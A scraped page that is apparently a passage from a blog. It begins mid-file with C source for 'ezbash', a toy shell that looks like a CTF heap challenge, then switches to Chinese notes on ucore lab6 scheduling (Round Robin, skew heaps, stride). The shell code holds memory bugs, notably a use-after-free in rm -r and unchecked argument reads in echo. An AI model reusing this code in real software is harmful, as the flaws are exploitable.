return 1;
}
current = name_list;
print_name();
current = current_temp;
}
}
}

}
return 1;
}

int echo(char** command_list) {
int index;
int echo_len;
int echo_len_have;
int echo_len_align;
int need_len;
int alloc_len;
int i;
Command* name_list;
const char* name;

index = 0;

if (command_list[1] != NULL)
{
if (command_list[2] == NULL)
{
printf("%s\n", command_list[1]);;
return 1;
}
else
{
if (check_isrelocation(command_list[2]) == 0)
{
printf("%s\n", command_list[1]);
return 1;
}
name_list = current->name_list;
name = command_list[3];
if (search_name(&name_list, name) == 0)
{
fprintf(stderr, "ezbash: %s: No such file\n", name);
return 1;
}
else if (check_isfile(name_list) == 1)
{
if (name_list->echo_data)
{
echo_len_have = strlen(name_list->echo_data);
memset(name_list->echo_data, 0, echo_len_have);
echo_len_align = (echo_len_have / 0x150 + 1) * 0x150;
}
else
{
alloc_len = 0x150;
name_list->echo_data = (char*)malloc(alloc_len);
if (name_list->echo_data != NULL)
memset(name_list->echo_data, 0, alloc_len);
else
fprintf(stderr, "an unexpected error occurred\n");
echo_len_align = 0x150;
}
need_len = strlen(command_list[1]);
while (true)
{
if (echo_len_align > need_len)
{
break;
}
echo_len_align += 0x150;
}
alloc_len = echo_len_align;
name_list->echo_data = (char*)realloc(name_list->echo_data,alloc_len);
if(name_list->echo_data != 0)
memset(name_list->echo_data, 0, alloc_len);
else
fprintf(stderr, "an unexpected error occurred\n");
strcpy(name_list->echo_data, command_list[1]);
}
else
{
fwrite("ezbash: object must be directory\n", 1, 0x21, stderr);
return 1;
}
}
}
return 1;
}

int cat(char** command_list) {
Command* name_list = current->name_list;

if (command_list[1] != NULL)
{
if (compare_name(name_list, command_list[1]) == 1)
{
fprintf(stderr, "ezbash: %s: No such file or directory\n", command_list[1]);
}
else
{
while (name_list)
{
if (strcmp(name_list->name, command_list[1]) == 0)
{
if (check_isfile(name_list) == 0)
{
fwrite("ezbash: object must be file\n", 1, 0x1c, stderr);
return 1;
}
if (name_list->echo_data != NULL)
puts(name_list->echo_data);
}
name_list = name_list->next_name;
}
}
}
else
{
fwrite("ezbash: no arguments\n", 1, 0x15, stderr);
}
return 1;
}

int pwd() {
puts(path);
return 1;
}

int help()
{
int i;

puts("Welcome to ezbash");
puts("Just have fun here!");
puts("The following are built in:");
for (i = 0; i < 11; ++i)
puts(command_list_system[i]);
return 1;
}

int rm(char** command_list) {
int index;
int key;
Command* name_list;
Command* name;

index = 1;

while (command_list[index])
{
name_list = current->name_list;
key = 0;
if (strcmp(command_list[index], "-r") == 0)
{
index++;
while (name_list)
{
if (command_list[index])
{
while (name_list)
{
if (strcmp(name_list->name, command_list[index]) == 0)
{
key = 1;
if (check_isdir(name_list) == 0)
{
fprintf(stderr, "ezbash -r: cannot remove: '%s' is a file\n", (const char*)command_list[index]);
break;
}
memset(name_list->name, 0, 0x10);
name_list->parent_dir = 0;
if (name_list->name_list)
{
name = name_list->name_list;
do
{
if (name->echo_data)
{
free(name->echo_data);
name->echo_data = NULL;
}
free(name);
name = name->next_name;
} while (name);
}
unlink_name(name_list);
}
name_list = name_list->next_name;
}
}
else if (index == 2)
{
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
return 1;
}
index++;
}
if (key == 0)
{
fprintf(stderr, "ezbash: '%s': No such file or directory\n", (const char*)command_list[index]);
}
}
else
{
while (name_list)
{
if (command_list[index])
{
while (name_list)
{
if (strcmp(name_list->name, command_list[index]) == 0)
{
key = 1;
if (check_isfile(name_list) == 0)
{
fprintf(stderr, "ezbash: -r not specified; omitting directory '%s'\n", (const char*)command_list[index]);
return 1;
}
if (name_list->echo_data)
{
free(name_list->echo_data);
name_list->echo_data = NULL;
}
unlink_name(name_list);
}
name_list = name_list->next_name;
}
}
else if (index == 1)
{
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
return 1;
}
index++;
}
if (key == 0)
{
fprintf(stderr, "ezbash: '%s': No such file or directory\n", (const char*)command_list[index]);
}
}
}
return 1;
}

int cp(char** command_list) {
int i = 0;
int var_num = 0;
int command_len = 0;
int key = 0;
char delim[2];
char** command_list_temp = command_list;
char* name_input;
Command* current_temp = current;
Command* chunk;
Command* name_new;
Command* name_list_a = current->name_list;
Command* name_list_b = current->name_list;

if (command_list[1] != NULL)
{
if (strcmp(command_list[1], "-r") != 0)
{
name_list_a = current_temp->name_list;
key = search_name(&name_list_a, command_list_temp[1]);
if (key != 1)
{
fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", command_list_temp[i]);
return 1;
}
if (check_isfile(name_list_a) != 1)
{
fprintf(stderr, "ezbash: -r not specified; omitting directory '%s'\n", command_list_temp[1]);
return 1;
}

key = search_name(&name_list_b, command_list_temp[2]);
if (key == 1)
{
if (check_isfile(name_list_b) != 1)
{
fprintf(stderr, "ezbash: -r not specified; omitting directory '%s'\n", command_list_temp[1]);
return 1;
}
if (name_list_a->echo_data != NULL)
{
copy_echo(name_list_a, name_list_b);
}
}
else
{
chunk = malloc_empty();
name_new = chunk;
chunk->key = ISFILE;
chunk->parent_dir = current;
copy_name(chunk, command_list_temp[2]);
if (current->name_list)
insert_name(current->name_list, name_new);
else
current->name_list = name_new;
name_list_b = current->name_list;
key = search_name(&name_list_b, command_list_temp[2]);
if (key == 0)
{
fprintf(stderr, "an unexpected error occurred\n");
return 1;
}
if (name_list_a->echo_data != NULL)
{
copy_echo(name_list_a, name_list_b);
}
}
}
else
{
if (command_list[2] == NULL || command_list[3] == NULL)
{
fwrite("ezbash: no arguments\n", 1, 0x15, stderr);
return 1;
}
name_list_a = current_temp->name_list;
key = search_name(&name_list_a, command_list_temp[2]);
if (key != 1)
{
fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", command_list_temp[2]);
return 1;
}
if (check_isdir(name_list_a) != 1)
{
fprintf(stderr, "ezbash -r: cannot remove: '%s' is a file\n", (const char*)command_list[2]);
return 1;
}
key = search_name(&name_list_b, command_list_temp[3]);
if (key == 1)
{
if (check_isdir(name_list_b) != 1)
{
fprintf(stderr, "ezbash -r: cannot remove: '%s' is a file\n", (const char*)command_list[3]);
return 1;
}
copy_dir(name_list_a, name_list_b);
}
else
{
chunk = malloc_empty();
name_list_b = chunk;
chunk->key = ISDIR;
chunk->parent_dir = current;
copy_name(name_list_b, command_list_temp[3]);
if (current->name_list)
insert_name(name_list_a, name_list_b);
else
current->name_list = name_list_b;
copy_dir(name_list_a, name_list_b);
}
}
current = current_temp;
}
else
{
fwrite("ezbash: no arguments\n", 1, 0x15, stderr);
return 1;
}
return 1;
}

int compare_name(Command* name_list, const char* name_input) {
while (name_list)
{
if (!strcmp(name_list->name, name_input))
return 0;
name_list = name_list->next_name;
}
return 1;
}

void print_name() {
Command* name_list = current->name_list;

if (name_list)
{
while (name_list)
{
printf("%s", name_list->name);
if (!name_list->key)
putchar('/');
printf(" ");
name_list = name_list->next_name;
}
putchar('\n');
}
}

void insert_name(Command* name_list, Command* name_new) {
while (name_list->next_name)
name_list = name_list->next_name;
name_list->next_name = name_new;
name_new->last_name = name_list;
}

void unlink_name(Command* name_list) {
if (name_list->next_name)
{
name_list->next_name->last_name = name_list->last_name;
}
if (name_list->last_name)
{
name_list->last_name->next_name = name_list->next_name;
}
else
{
current->name_list = name_list->next_name;
}
name_list->next_name = NULL;
name_list->last_name = NULL;
free(name_list);
}

int search_name(Command** name_list, const char* name) {
while (*name_list)
{
if (!strcmp((*name_list)->name, name))
return 1;
*name_list = (*name_list)->next_name;
}
return 0;
}

void copy_name(Command* new_chunk, const char* command_list) {
int len;

len = strlen(command_list);
if (len > 0x10)
len = 0x10;
memset(new_chunk->name, 0, 0x10);
strncpy(new_chunk->name, command_list, len);
}

void copy_echo(Command* name_list_a, Command* name_list_b) {
Command* name_list_temp1 = name_list_a;
Command* name_list_temp2 = name_list_b;
int len1;
int alloc_len = 0x150;
int need_len;
int echo_len_have;
int echo_len_align;

len1 = strlen(name_list_a->echo_data);
if (name_list_temp2->echo_data == NULL)
{
need_len = (len1 / 0x150 + 1) * 0x150;
alloc_len = need_len;
name_list_temp2->echo_data = (char*)malloc(alloc_len);
if (name_list_temp2->echo_data != NULL)
memset(name_list_temp2->echo_data, 0, alloc_len);
else
fprintf(stderr, "an unexpected error occurred\n");
strncpy(name_list_temp2->echo_data, name_list_temp1->echo_data, alloc_len);
}
else
{
need_len = (len1 / 0x150 + 1) * 0x150;
echo_len_have = strlen(name_list_temp2->echo_data);
echo_len_align = (echo_len_have / 0x150 + 1) * 0x150;
if (need_len > echo_len_align)
{
alloc_len = need_len;
name_list_temp2->echo_data = (char*)realloc(name_list_temp2->echo_data, alloc_len);
}
strncpy(name_list_temp2->echo_data, name_list_temp1->echo_data, alloc_len);
}
}

int copy_file(Command* name_part_a, Command* name_list_b) {
Command* part = name_part_a;
Command* list = name_list_b;
Command* new_name;
char* name;
int key;

name = part->name;
key = compare_name(list, name);
if (key == 0)
{
return 1;
}
else
{
new_name = malloc_empty();
new_name->key = ISFILE;
copy_name(new_name, name);
if (part->echo_data != NULL)
copy_echo(part, new_name);
if (current->name_list)
insert_name(name_list_b->name_list, new_name);
else
current->name_list = new_name;
return 1;
}
}

void copy_dir(Command* name_list_a, Command* name_list_b) {
Command* name_part_a = name_list_a->name_list;
Command* name_new;
int key;
int key_code;

if (name_part_a == NULL)
{
return;
}
else
{
while (name_part_a != NULL)
{
key = check_isfile(name_part_a);
if (key == 1)
{
key = compare_name(name_list_b, name_part_a->name);
if (key == 0)
{
continue;
}
else
{
name_new = malloc_empty();
name_new->key = ISFILE;
name_new->parent_dir = name_list_b;
copy_name(name_new, name_part_a->name);
if (name_part_a->echo_data)
{
copy_echo(name_part_a, name_new);
}
if (name_list_b->name_list)
insert_name(name_list_b->name_list, name_new);
else
name_list_b->name_list = name_new;
}
}
else
{
name_new = malloc_empty();
name_new->key = ISDIR;
name_new->parent_dir = current;
copy_name(name_new, name_list_b->name);
if (name_list_b->name_list)
insert_name(name_list_b->name_list, name_new);
else
name_list_b->name_list = name_new;
current = name_new;
copy_dir(name_part_a, name_new);
}
name_part_a = name_part_a->next_name;
}
}
return;
}

int check_isdir(Command* name_list) {
int key = name_list->key;
if (key == ISDIR)
{
return 1;
}
else
{
return 0;
}
}

int check_isfile(Command* name_list) {
int key = name_list->key;
if (key == ISFILE)
{
return 1;
}
else
{
return 0;
}
}

int check_isrelocation(const char* command_list)
{
if (command_list[0] == '-' && command_list[1] == '>' && command_list[2] == NULL) {
return 1;
}
else{
return 0;
}
}

int main()
{
init();
start();
return 0;
}

CPU资源的时分复用

进程切换:CPU资源的当前占用者切换

  • 保存当前进程在PCB中的执行上下文(CPU状态)
  • 恢复下一个进程的执行上下文

处理机调度:

  • 从就绪队列中挑选下一个占用CPU运行的进程
  • 从多个可用CPU中挑选就绪进程可使用的CPU资源

调度程序:挑选就绪进程的内核函数

  • 调度策略:依据什么原理挑选进程/线程
  • 调度时机:什么时候进行调度

内核运行调度程序的条件:

  • 进程从运行状态切换到等待状态
  • 进程被终结了

非抢占系统:

  • 当前进程主动放弃CPU时

可抢占系统:

  • 中断请求被服务例程响应完成时
  • 当前进程被抢占
    • 进程的时间片耗尽
    • 进程从等待状态切换到就绪状态

调度准则

  • 比较调度算法的准则

    • CPU使用率:CPU处于忙状态的时间百分比
    • 吞吐量:单位时间内完成的进程数量
    • 周转时间:进程从初始化到结束(包括等待)的总时间
    • 等待时间:进程在就绪队列中的总时间
    • 响应时间:从提交请求到产生响应所花费的总时间
  • 调度策略的目标

    • 减少响应时间:及时处理用户的输入,尽快将输出反馈给用户
    • 减少平均响应时间的波动:在交互系统中,可预测性比高差异低平均更重要
  • 调度策略的吞吐量目标

    • 增加吞吐量
      • 减小开销(例如上下文切换的开销)
      • 系统资源的高效利用(例如CPU和IO设备的并行使用)
    • 减少每个进程的等待时间
    • 保证吞吐量不受用户交互的影响

时钟中断

  • 时钟中断是一种硬中断,由时间硬件(系统定时器,一种可编程硬件)产生,CPU处理后交由时间中断处理程序来完成更新系统时间、执行周期性任务等
  • 系结构相关部分被注册到内核中,确保中断产生时能执行,这部分不能有耗时操作,主要是更新时间与调用结构无关部分列程(异步)
  • 已到期的定时器由体系结构无关部分来处理,其它的一些耗时操作,如显示时间的更新也在这一部分

内核定时器

  • 内核定时器产生的是软中断,软中断是进程相关的,它不会中断CPU的处理
  • 使用定时器时,将软中断注册入内核
  • 在每个时钟中断周期中,系统会检测到期到期定时器,触发软中断,判断时间到期,则执行定时器处理函数,最后清除掉定时器软中断

用户定时器

  • 用户定时器是线程相关的,定时器产生的消息只会发送给注册线程
  • 定时器消息属于最低优先级的消息,当线程的队列中没有其他消息时,才检索该消息

队列

  • 在 SMP(对称多处理器)环境下,每个 CPU 对应一个 run_queue(可执行队列)
  • 如果一个进程处于 TASK_RUNNING 状态(可执行状态),则它会被加入到其中一个 run_queue(且同一时刻仅会被加入到一个 run_queue),以便让调度程序安排它在这个 run_queue 对应的 CPU 上面运行
  • 一个CPU对应一个 run_queue 这样的设计,其好处是:
    • 一个持续处于 TASK_RUNNING 状态的进程总是趋于在同一个 CPU 上面运行(其间,这个进程可能被抢占、然后又被调度),这有利于进程的数据被 CPU 所缓存,提高运行效率
    • 各个 CPU 上的调度程序只访问自己的 run_queue,避免了竞争

结构体 run_queue 用于描述队列:

1
2
3
4
5
6
struct run_queue {
list_entry_t run_list; /* 其运行队列的链表结构,可以看作是队列结点(运行队列链表) */
unsigned int proc_num; /* 表示其内部的进程总数 */
int max_time_slice; /* 每个进程一轮占用的最多时间片 */
skew_heap_entry_t *lab6_run_pool; /* 优先队列形式的进程容器(只在LAB6中使用) */
};

进程运行队列(就绪队列):

  • linux 提供了很多队列,但本实验只涉及到了运行队列(运行队列和就绪队列是同一个东西)
  • 在 ucore 框架中,运行队列存储的是当前可以调度的进程,所以,只有状态为 runnable 的进程才能够进入运行队列,当前正在运行的进程并不会在运行队列中
  • 运行队列通过链表的形式进行组织,链表的每一个节点是一个 list_entry_t,每个 list_entry_t 又对应到了 struct proc_struct *(和前面实验对于链表的操作如出一辙)

多级反馈队列

RR时间片轮转原理

  • 在采用时间片轮转算法中,所有的就绪进程按 FCFS 策略排成一个就绪队列
  • 系统可设置每隔一定时间便产生一次中断,去激活进程调度程序进行调度,把CPU分配给队首进程,并令其执行一个时间片
  • 当它运行完毕后,又把处理机分配给就绪队列中新的队首进程,也让它执行一个时间片
  • 这样,就可以保证就绪队列中的所有进程在确定的时间段内,都能获得一个时间片的处理机时间

多级反馈队列调度机制

  • 设置多个就绪队列,在系统中设置多个就绪队列,并为每个队列赋予不同的优先
  • 第一个队列的优先级最高,第二个次之,其余队列的优先级逐个降低
  • 该算法为不同列中的进程所赋予的执行时间片的大小也各不相同,在优先级愈高的队列中,其时间片愈小
  • 每个队列都采用 FCFS 算法,当新进程进入内存后,首先将它放入第一队列的末尾,按 FCFS 原则等待调度
    • 当轮到该进程执行时,如它能在该时间片内完成,便可撤离系统
    • 否则,即它在一个时间片结束时尚未完成,调度程序将其转入第二队列的末尾等待调度
    • 如果它在第二队列中运行个时间片后仍未完成, 再依次将它放入第三队列 … 依此类推
  • 当进程最后被降到第n队列后,在第n队列中便采取按RR方式运行
  • PS:这里只讨论了最简单的情况,中途没有进程进行“抢占”

斜堆(Skew Heap)

斜堆(Skew heap)也叫自适应堆(self-adjusting heap),它是左倾堆的一个变种,和左倾堆一样,它通常也用于实现优先队列,它的合并操作的时间复杂度也是 O(lg n)

相比于左倾堆,斜堆的节点没有”零距离”这个属性,除此之外,它们斜堆的合并操作也不同

斜堆的合并操作算法如下:

  • 第1步:如果一个空斜堆与一个非空斜堆合并,返回非空斜堆
  • 第2步:如果两个斜堆都非空,那么比较两个根节点,取较小堆的根节点为新的根节点,将 “较小堆的根节点的右孩子” 和 “较大堆” 进行合并
  • 第3步:合并后,交换新堆根节点的左孩子和右孩子

第3步是斜堆和左倾堆的合并操作差别的关键所在:

  • 如果是左倾堆,则合并后要比较左右孩子的零距离大小
  • 若右孩子的零距离 > 左孩子的零距离,则交换左右孩子
  • 最后设置根的零距离

ucore 中和斜堆有关的结构

  • skew_heap_entry:用于记录斜堆各个节点的信息
1
2
3
struct skew_heap_entry {
struct skew_heap_entry *parent, *left, *right;
};
  • compare_f:一个函数指针,指向 proc_stride_comp_f
1
typedef int(*compare_f)(void *a, void *b);

ucore 中和斜堆有关的函数

  • proc_stride_comp_f:优先队列的比较函数, 用于测优先级 ,主要思路就是通过步数相减,然后根据其正负比较大小关系(具体的数学原理我真的搞不明白,反正这个函数可以用来测优先级就对了)
1
2
3
4
5
6
7
8
9
10
static int
proc_stride_comp_f(void *a, void *b)
{
struct proc_struct *p = le2proc(a, lab6_run_pool); // 获取进程a
struct proc_struct *q = le2proc(b, lab6_run_pool); // 获取进程b
int32_t c = p->lab6_stride - q->lab6_stride; // 步数相减,通过正负比较大小关系
if (c > 0) return 1; /* b的优先级高(stride更小) */
else if (c == 0) return 0;
else return -1; /* a的优先级高(stride更小) */
}
  • skew_heap_init:初始化斜堆
1
2
3
4
5
static inline void
skew_heap_init(skew_heap_entry_t *a)
{
a->left = a->right = a->parent = NULL; /* 置空斜堆的3个索引点 */
}
  • skew_heap_insert:将新的进程插入到表示就绪队列的斜堆中,该函数的返回结果是斜堆的新的根
1
2
3
4
5
6
7
static inline skew_heap_entry_t *
skew_heap_insert(skew_heap_entry_t *a, skew_heap_entry_t *b,
compare_f comp)
{
skew_heap_init(b); /* 置空斜堆b */
return skew_heap_merge(a, b, comp); /* 合并这两个斜堆,并返回得到的新堆 */
}
  • skew_heap_remove:删除斜堆中的指定进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static inline skew_heap_entry_t *
skew_heap_remove(skew_heap_entry_t *a, skew_heap_entry_t *b,
compare_f comp)
{
skew_heap_entry_t *p = b->parent;
skew_heap_entry_t *rep = skew_heap_merge(b->left, b->right, comp); /* 合并这两个斜堆,并返回得到的新堆 */
if (rep) rep->parent = p;

if (p)
{
if (p->left == b)
p->left = rep;
else p->right = rep;
return a;
}
else return rep;
}
  • skew_heap_merge:合并这两个斜堆,并返回得到的新堆(没学对应的数据结构,看不懂)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static inline skew_heap_entry_t *
skew_heap_merge(skew_heap_entry_t *a, skew_heap_entry_t *b,
compare_f comp)
{
if (a == NULL) return b;
else if (b == NULL) return a;

skew_heap_entry_t *l, *r;
if (comp(a, b) == -1) /* 执行proc_stride_comp_f: a的优先级更高 */
{
r = a->left;
l = skew_heap_merge(a->right, b, comp);

a->left = l;
a->right = r;
if (l) l->parent = a;

return a;
}
else /* 执行proc_stride_comp_f: b的优先级更高 */
{
r = b->left;
l = skew_heap_merge(a, b->right, comp);

b->left = l;
b->right = r;
if (l) l->parent = b;

return b;
}
}

规律总结:

  • stride 值最小的进程在斜堆的最顶端(优先度更高)

练习0-把 lab5 的内容复制粘贴到 lab6

lab6 的代码有一些不同的地方

在 proc_struct 添加有关 时钟中断 的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct proc_struct {
enum proc_state state; // 当前进程的状态
int pid; // 进程ID
int runs; // 当前进程被调度的次数
uintptr_t kstack; // 内核栈
volatile bool need_resched; // 是否需要被调度
struct proc_struct *parent; // 父进程ID
struct mm_struct *mm; // 当前进程所管理的虚拟内存页,包括其所属的页目录项PDT
struct context context; // 保存的进程上下文,用于进程切换
struct trapframe *tf; // 中断帧指针,指向内核栈的某个位置(保存有中断上下文)
uintptr_t cr3; // 页目录表的地址
uint32_t flags; // 当前进程的相关标志
char name[PROC_NAME_LEN + 1]; // 进程名称(可执行文件名)
list_entry_t list_link; // 进程链表
list_entry_t hash_link; // 进程哈希表
int exit_code; /* lab5新增:描述线程退出时的原因 */
uint32_t wait_state; /* lab5新增:描述线程进入wait阻塞态的原因 */
struct proc_struct *cptr, *yptr, *optr; /* lab5新增:用于组织子进程链表 */

/* <-- 以下都是lab6新增的部分 --> */

struct run_queue *rq; // 指向运行队列(就绪队列)
list_entry_t run_link; // 在运行队列中链接的条目
int time_slice; // 占用CPU的时间片
skew_heap_entry_t lab6_run_pool; // 仅适用于LAB6:运行池中的条目
uint32_t lab6_stride; // 仅适用于LAB6:流程的当前步幅
uint32_t lab6_priority; // 仅适用于LAB6:进程的优先级(由LAB6_set_priority设置)
};

对应的 alloc_proc 函数(创建进程控制结构)也要发生变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static struct proc_struct *
alloc_proc(void) {
struct proc_struct *proc = kmalloc(sizeof(struct proc_struct));
if (proc != NULL) {
proc->state = PROC_UNINIT;
proc->pid = -1;
proc->runs = 0;
proc->kstack = 0;
proc->need_resched = 0;
proc->parent = NULL;
proc->mm = NULL;
memset(&(proc->context), 0, sizeof(struct context));
proc->tf = NULL;
proc->cr3 = boot_cr3;
proc->flags = 0;
memset(proc->name, 0, PROC_NAME_LEN);
proc->wait_state = 0;
proc->cptr = proc->optr = proc->yptr = NULL;

/* <-- 以下都是lab6新增的部分 --> */

proc->rq = NULL; /* 把运行队列置空 */
list_init(&(proc->run_link)); /* 初始化运行队列中链接的条目 */
proc->time_slice = 0; /* 初始化占用CPU的时间片 */
proc->lab6_run_pool.left = proc->lab6_run_pool.right = proc->lab6_run_pool.parent = NULL;
proc->lab6_stride = 0;
proc->lab6_priority = 0;
}
return proc;
}

另外在 trap_dispatch 函数中填入 “中断请求-计时器中断” 对应的部分:

  • 在 lab6 中,时钟中断的处理逻辑中主动调用了调度器的 proc_tick 函数,使得调度器能感知到时钟中断的产生,并调整调度相关的数据结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
static void
trap_dispatch(struct trapframe *tf) {
/* 根据trapframe中断帧中的标志位,来执行具体的中断服务历程 */
char c;
int ret=0;
switch (tf->tf_trapno) {
case T_PGFLT: /* 页错误异常(page fault) */
if ((ret = pgfault_handler(tf)) != 0) {
print_trapframe(tf);
/* lab5新增:与进程相关的if判断语句 */
if (current == NULL) {
panic("handle pgfault failed. ret=%d\n", ret);
}
else {
if (trap_in_kernel(tf)) {
panic("handle pgfault failed in kernel mode. ret=%d\n", ret);
}
cprintf("killed by kernel.\n");
panic("handle user mode pgfault failed. ret=%d\n", ret);
do_exit(-E_KILLED);
}
}
break;
case T_SYSCALL: /* 系统调用(syscall) */
syscall();
break;

/* <---- start ----> */
case IRQ_OFFSET + IRQ_TIMER:
#if 0
LAB3 : If some page replacement algorithm(such as CLOCK PRA) need tick to change the priority of pages,
then you can add code here.
#endif
ticks ++;
assert(current != NULL);
sched_class_proc_tick(current); /* lab6新添:使得调度器能感知到时钟中断的产生,并调整调度相关的数据结构 */
break;
/* <---- end ----> */

case IRQ_OFFSET + IRQ_COM1: /* 中断请求-串口中断 */
c = cons_getc();
cprintf("serial [%03d] %c\n", c, c);
break;
case IRQ_OFFSET + IRQ_KBD: /* 中断请求-键盘中断 */
c = cons_getc();
cprintf("kbd [%03d] %c\n", c, c);
break;
case T_SWITCH_TOU: /* 中断请求-内核到用户空间触发的中断 */
case T_SWITCH_TOK: /* 中断请求-用户空间到内核触发的中断 */
panic("T_SWITCH_** ??\n");
break;
case IRQ_OFFSET + IRQ_IDE1: /* 中断请求-IDE通道1中断 */
case IRQ_OFFSET + IRQ_IDE2: /* 中断请求-IDE通道2中断 */
/* 本实验不涉及这一部分 */
break;
default:
/* lab5改动:完善了报错处理 */
print_trapframe(tf); /* 打印trapframe结构体(中断帧,用于存储执行中断的信息) */
if (current != NULL) {
cprintf("unhandled trap.\n");
do_exit(-E_KILLED);
}
panic("unexpected trap in kernel.\n");
}
}

void
sched_class_proc_tick(struct proc_struct *proc) {
if (proc != idleproc) {
sched_class->proc_tick(rq, proc); /* 处理时钟中断,更新对应的调度参数 */
}
else {
proc->need_resched = 1; /* idleproc处理时钟中断:需要进行调度 */
}
}

练习1-使用 Round Robin 调度算法

  • 理解并分析 sched_class(调度类,调度器框架)中各个函数指针的用法,并结合 Round Robin 调度算法描 ucore 的调度执行过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static struct sched_class *sched_class;

struct sched_class {
const char *name; /* 零,该调度类的名称 */

void (*init)(struct run_queue *rq); /* 一,初始化运行队列 */

void (*enqueue)(struct run_queue *rq, struct proc_struct *proc); /* 二,将proc(进程)放入runqueue(运行队列),必须使用"rq_lock"调用此函数 */

void (*dequeue)(struct run_queue *rq, struct proc_struct *proc); /* 三,将proc(进程)移出runqueue(运行队列),必须使用"rq_lock"调用此函数 */

struct proc_struct *(*pick_next)(struct run_queue *rq); /* 四,选择下一个可运行任务 */

void (*proc_tick)(struct run_queue *rq, struct proc_struct *proc); /* 五,以减小当前运行进程的time-tick(剩余时间片) */

};

struct sched_class default_sched_class = {
/* 六,定义一个c语言类的实现,提供调度算法的切换接口(不属于调度类但后续会遇到) */
.name = "RR_scheduler",
.init = RR_init,
.enqueue = RR_enqueue,
.dequeue = RR_dequeue,
.pick_next = RR_pick_next,
.proc_tick = RR_proc_tick,
};
  • RR调度算法的调度思想是让所有 runnable 态的进程分时轮流使用 CPU 时间
  • RR调度器维护当前 runnable 进程的有序运行队列
  • 当前进程的时间片用完之后,调度器将当前进程放置到运行队列的尾部,再从其头部取出进程进行调度

零,const char *name:指向了当前调度算法的名称字符串

一,void (*init)(struct run_queue *rq)

1
2
3
4
5
static void
RR_init(struct run_queue *rq) {
list_init(&(rq->run_list)); /* 置空链表 */
rq->proc_num = 0; /* 进程总数变为'0' */
}
  • 用于初始化传入的就绪队列,RR算法中只初始化了对应 run_queuerun_list 成员

二,void (*enqueue)(struct run_queue *rq, struct proc_struct *proc)

1
2
3
4
5
6
7
8
9
10
static void
RR_enqueue(struct run_queue *rq, struct proc_struct *proc) {
assert(list_empty(&(proc->run_link)));
list_add_before(&(rq->run_list), &(proc->run_link)); /* 插入结点前 */
if (proc->time_slice == 0 || proc->time_slice > rq->max_time_slice) {
proc->time_slice = rq->max_time_slice; /* 初始化时间片(如果进程在当前的执行时间片已经用完,需要等到下一次有机会运行时才能再执行一段时间) */
}
proc->rq = rq; /* 更新运行队列 */
rq->proc_num ++; /* 运行队列中的进程数增加 */
}
  • 用于将某个进程添加进传入的队列中
  • RR算法除了将进程添加进队列中,还重置了相关的时间片

三,void (*dequeue)(struct run_queue *rq, struct proc_struct *proc)

1
2
3
4
5
6
7
8
9
10
11
12
static void
RR_dequeue(struct run_queue *rq, struct proc_struct *proc) {
assert(!list_empty(&(proc->run_link)) && proc->rq == rq);
list_del_init(&(proc->run_link)); /* 脱链 */
rq->proc_num --; /* 运行队列中的进程数减少 */
}

static inline void
list_del_init(list_entry_t *listelm) {
list_del(listelm);
list_init(listelm);
}
  • 用于将某个进程从传入的队列中移除

四,struct proc_struct *(*pick_next)(struct run_queue *rq)

1
2
3
4
5
6
7
8
static struct proc_struct *
RR_pick_next(struct run_queue *rq) { /* [首次适配] */
list_entry_t *le = list_next(&(rq->run_list));
if (le != &(rq->run_list)) {
return le2proc(le, run_link); /* 遇到第一个合适的就直接返回了 */
}
return NULL;
}
  • 用于在传入的运行队列中选择出一个最适合运行的进程(选择进程但不将从队列中移除)
  • 在RR算法采用 [首次适配] ,每次都只选择队列最前面那个进程

五,void (*proc_tick)(struct run_queue *rq, struct proc_struct *proc)

1
2
3
4
5
6
7
8
9
static void
RR_proc_tick(struct run_queue *rq, struct proc_struct *proc) {
if (proc->time_slice > 0) {
proc->time_slice --; /* 进行时间片的递减 */
}
if (proc->time_slice == 0) {
proc->need_resched = 1; /* 如果用完时间片,那么就使该进程变成可调度状态,等待再次调度 */
}
}
  • 该函数会在时间中断处理例程中被调用( sched_class_proc_tick(current) 中的 sched_class->proc_tick(rq, proc) ),以减小当前运行进程的剩余时间片,若时间片耗尽,则设置当前进程的 need_resched 为 1

结合 Round Robin 调度算法描 uCore 的调度执行过程:

  • 首先,uCore调用 sched_init 函数用于初始化相关的就绪队列
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void
sched_init(void) {
list_init(&timer_list); /* 这个timer_list在之后的实验中会出现 */

sched_class = &default_sched_class; /* 提供调度算法的切换接口 */

/* 这里让我联想到了面向对象中的类与实例:
sched_class其实就是一组接口,有点类似于一组函数指针
它起到了和“实例化”差不多的效果,可以任意调用该类中的函数
没准这就是面向对象的雏形,只不过面向对象更强大,采用了更加高级的数据抽象的形式
*/

rq = &__rq;
rq->max_time_slice = MAX_TIME_SLICE;
sched_class->init(rq); /* 调用RR_init初始化rq运行列表 */

cprintf("sched class: %s\n", sched_class->name);
}
  • 之后在 proc_init 函数中,建立第一个内核进程,并将其添加至就绪队列中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void
proc_init(void) {
int i;

list_init(&proc_list);
for (i = 0; i < HASH_LIST_SIZE; i ++) {
list_init(hash_list + i);
}

if ((idleproc = alloc_proc()) == NULL) {
/* 分配一个物理页,作为proc_struct结构体 */
panic("cannot alloc idleproc.\n");
}

idleproc->pid = 0; /* 将空闲进程作为第一个进程,pid为0 */
idleproc->state = PROC_RUNNABLE; /* 设置该空闲进程始终可运行 */
idleproc->kstack = (uintptr_t)bootstack; /* 设置空闲进程的内核栈 */
